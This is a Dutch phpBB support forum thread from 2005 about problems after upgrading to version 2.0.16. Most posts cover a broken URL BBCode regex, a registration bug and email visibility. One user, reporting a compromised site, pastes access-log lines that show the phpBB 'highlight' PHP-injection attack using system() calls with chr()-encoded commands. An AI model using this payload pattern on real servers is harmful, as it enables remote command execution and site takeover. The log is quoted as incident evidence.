phpBB 2.0.16

cdrom-la · Bericht door **cdrom-la** » 30 jun 2005, 23:26

	$patterns[] = "#\[url=([\w]+?://[^ \"\n\r\t<]*?)\]([^?\n\r\t].*?)\[/url\]#is";

Als ik deze regel vervang dan kan ik op ons forum geen

Dan geeft ie de img wel maar de url wordt dan gewoon weergeven als fout
zoals gg

Bee · Bericht door **Bee** » 01 jul 2005, 08:48

Ik snap je post niet. Ik zie een niet werkend plaatje, en een hele vreemde uitleg over de URL BBcode. Moet ik hieruit opmaken dat hij niet werkt?

Zou je een link kunnen geven, controleer nogmaals of je alles in includes/bbcode.php goed uitgevoerd hebt, en upload eventueel het originele bestand uit een 2.0.16 pakket naar je forum (alleen indien je geen andere wijzigingen hebt gemaakt daarin)

svenn · Bericht door **svenn** » 01 jul 2005, 09:14

cdrom-la schreef:
Code: Selecteer alles
	$patterns[] = "#\[url=([\w]+?://[^ \"\n\r\t<]*?)\]([^?\n\r\t].*?)\[/url\]#is";
Als ik deze regel vervang dan kan ik op ons forum geen
Dan geeft ie de img wel maar de url wordt dan gewoon weergeven als fout
zoals gg

oke ik doe nog een poging als ik het begrijp , als je een img plaatst die moet linken gaat het niet je krijgt enkel de image en niet de link , ? zoiets zoals bee zegt bbcode.php eens controleren

cdrom-la · Bericht door **cdrom-la** » 01 jul 2005, 10:44

svennson je hoeft bee niet na te praten hoor

was me al duidelijk toen bee het tegen mij zij

kijk heb een klein plaatje voor jullie
Afbeelding

zie je de url bbcode werkt niet meer in de signature

ik ben gek · Bericht door **ik ben gek** » 01 jul 2005, 10:56

je doet het fout geloof ik ik geloof dast het zo werkt

dit is een link

dit is een link
de 2e moet je de spatie weghalen voor het bovenstaande resultaat

Bericht door **Paul** » 01 jul 2005, 10:59

Dan is wat hij heeft toch goed

cdrom-la · Bericht door **cdrom-la** » 01 jul 2005, 11:22

JA toch maar heeft iemand hier een oplossing voor of gewoon de oude code terug zetten

cdrom-la · Bericht door **cdrom-la** » 02 jul 2005, 23:41

Stef · Bericht door **Stef** » 02 jul 2005, 23:46

Dus als je het andere patroon terugplaatst doet hij het weer wel?

cdrom-la · Bericht door **cdrom-la** » 03 jul 2005, 08:23

Ja dan doet ie het weer
en ik weet zeker dat ik niks verkeerd doe !

Stef · Bericht door **Stef** » 03 jul 2005, 11:19

Geef beide patronen eens.

spyroinc · Bericht door **spyroinc** » 04 jul 2005, 16:23

freaky schreef::idee: Mea Culpa... had het ELSE commando nog voor de string geplaatst terwijl deze erna moest komen... Bij deze dus opgelost en sorry mannen voor de paniekreactie

Hey,
na zo'n update probeer ik altijd wat uit.
En door die 'else' in de register-file, krijg je een blank scherm na het verzenden van het registratieforumier.
Als ik dan de else weer eruithaal, en zo probeer, dan lukt het wel - dus ligt louter aan de 'else'-toevoeging.

Nog iemand dat probleem of al getest?

spyroinc · Bericht door **spyroinc** » 04 jul 2005, 16:40

Mijn site werd ook gehacked op versie .15 (vandaag naar .16 geupdate)
Plots stonden er 54 securesite.zip's op mijn server in de phpBB-map
alsook een nieuwe map '.secure' waarin een 4tal files zitten met bestandnamen waarin 'ebay' voorkomt.

Mijn hostingprovider kon mij het volgende zeggen:

Uw site werd gehackt en gebruikt voor illigale doeleinden wij raden u aan onmiddellijk de nodige controles op uw account uit te voeren de oorzaak van de hack is ook teruggevonden:

202.94.237.92 - - [02/Jul/2005:07:43:43 +0200]"GET /phpBB2/viewtopic.php?t=639&highlight=%27.printf(chr(60).chr(103).chr(48).chr(62)).system(chr(119)).print$
202.94.237.92 - - [02/Jul/2005:07:43:51 +0200] "GET /phpBB2/viewtopic.php?t=639&highlight=%27.printf(chr(60).chr(103).chr(48).chr(62)).system(chr(117).chr(11$
207.46.98.149 - - [02/Jul/2005:07:44:06 +0200] "GET /phpBB2/viewtopic.php?t=858&sid=e7461e3578b8f6ab5871ca0d0ebd289d HTTP/1.0" 302 0 "-" "msnbot/1.0 (+http:/$
202.94.237.92 - - [02/Jul/2005:07:44:15 +0200] "GET /phpBB2/viewtopic.php?t=639&highlight=%27.printf(chr(60).chr(103).chr(48).chr(62)).system(chr(99).chr(117$
202.94.237.92 - - [02/Jul/2005:07:44:21 +0200] "GET /phpBB2/viewtopic.php?t=639&highlight=%27.printf(chr(60).chr(103).chr(48).chr(62)).system(chr(119).chr(10$
202.94.237.92 - - [02/Jul/2005:07:45:24 +0200] "GET /phpBB2/viewtopic.php?t=639&highlight=%27.printf(chr(60).chr(103).chr(48).chr(62)).system(chr(112).chr(11$
202.94.237.92 - - [02/Jul/2005:07:45:29 +0200] "GET /phpBB2/viewtopic.php?t=639&highlight=%27.printf(chr(60).chr(103).chr(48).chr(62)).system(chr(105).chr(10$
202.94.237.92 - - [02/Jul/2005:07:45:39 +0200] "GET /phpBB2/viewtopic.php?t=639&highlight=%27.printf(chr(60).chr(103).chr(48).chr(62)).system(chr(108).chr(11$
202.94.237.92 - - [02/Jul/2005:07:45:54 +0200] "GET /phpBB2/viewtopic.php?t=639&highlight=%27.printf(chr(60).chr(103).chr(48).chr(62)).system(chr(99).chr(100$

Dit is een lek in phpBB meer informatie vindt u op: http://www.phpbb.com .

Is dat nu dan verholpen met de versie .16?

Bas · Bericht door **Bas** » 04 jul 2005, 16:42

Dat was al verholpen in versie 2.0.11!

Luuk · Bericht door **Luuk** » 04 jul 2005, 16:43

Dat lek is al eerder verholpen, dus met versie 2.0.16 zou je goed moeten zitten.

spyroinc · Bericht door **spyroinc** » 04 jul 2005, 16:49

Bas schreef:Dat was al verholpen in versie 2.0.11!

Hoezo?
Ik heb dit voorgehad tijdens versie 2.0.15 hoor

Zijn jullie wel zeker?

Welke update-regel(s) uit versie 2.0.11 zou dit moeten verholpen hebben?
gaat het om dit: http://www.phpbb.com/phpBB/viewtopic.php?f=14&t=240513

Luuk · Bericht door **Luuk** » 04 jul 2005, 17:16

Nee dat was in opgelost in 2.0.12 dacht ik, met urldecode wat erin zat en waarmee je bij sommige servers commando's kon uitvoeren.

Bas · Bericht door **Bas** » 04 jul 2005, 18:01

spyroinc schreef:
Bas schreef:Dat was al verholpen in versie 2.0.11!
Hoezo?
Ik heb dit voorgehad tijdens versie 2.0.15 hoor
Zijn jullie wel zeker?

Welke update-regel(s) uit versie 2.0.11 zou dit moeten verholpen hebben?
gaat het om dit: http://www.phpbb.com/phpBB/viewtopic.php?f=14&t=240513

Yup, daar gaat het om.

mario HDF-VL · Bericht door **mario HDF-VL** » 04 jul 2005, 21:12

Ik weet niet dat het door die update is, maar als ik bij mijn profiel het vakje iedereen mag mijn e-mail adres zien op uit zet, blijft deze zichtbar. Ook bij de nieuwe leden is dit.

Iemand een idee?

Mvg,

Luuk · Bericht door **Luuk** » 04 jul 2005, 21:19

Als admin zie je het altijd. Probeer het eens uit als je uitgelogt bent